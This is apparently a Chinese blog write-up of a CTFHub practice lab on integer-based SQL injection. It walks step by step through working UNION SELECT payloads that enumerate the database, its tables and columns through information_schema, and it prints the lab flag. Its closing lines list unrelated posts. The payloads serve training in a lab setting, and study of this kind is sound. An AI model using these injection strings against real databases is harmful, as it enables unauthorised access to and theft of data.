CTFHUB技能树之SQL——整数型注入

开启靶场,打开链接:

直接指明是SQL整数型注入,但还是来判断一下


(1)检查是否存在注入点

1 and 1=1#

返回正确

1 and 1=2#

返回错误

说明存在SQL整数型注入


(2)猜字段数

1 order by 2#

1 order by 3#

说明字段数是2


(3)爆数据库名

1 and 1=2 union select 1,database()#

得知数据库名是sqli


(4)爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

显示表名是news表和flag表,其中flag表是我们需要的


(5)爆列名

1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

得知flag表的列名是flag


(6)爆字段内容(flag)

1 and 1=2 union select 1,group_concat(flag) from sqli.flag#

成功的得到flag:

ctfhub{0bdb6d621fc76a06fde34a00}

这里用sqlmap也是可以的,但我提前交了就不想再费时间重开一遍靶场了,待会就在"字符型注入"中试试了

相关推荐
EllinY34 分钟前
CF2217E Definitely Larger 题解
c++·笔记·算法·构造
nnsix1 小时前
JIT(即时编译)、 AOT(预先编译)、虚拟机CLR 笔记
笔记
weixin_397574091 小时前
用自然语言查数据库出图表靠谱吗?一次智能问数实践复盘
数据库
NULL指向我1 小时前
Simplis仿真笔记1:Simplis_V8.4_x64安装过程
笔记
ouliten3 小时前
[Triton笔记6]层标准化
笔记
字节跳动开源3 小时前
Viking AI 搜索 CLI 正式发布:会说话,就能做搜索推荐
数据库·人工智能·开源
宋浮檀s4 小时前
应急响应——恶意流量&攻击行为识别
linux·运维·网络·网络安全·应急响应
TechWJ4 小时前
数据库在公司内网,出差路上想查数据怎么办?
服务器·数据库·mariadb
我是一颗柠檬4 小时前
【MySQL全面教学】MySQL事务与ACID Day9(2026年)
数据库·后端·mysql
橙子圆1234 小时前
Redis知识9之集群
数据库·redis·缓存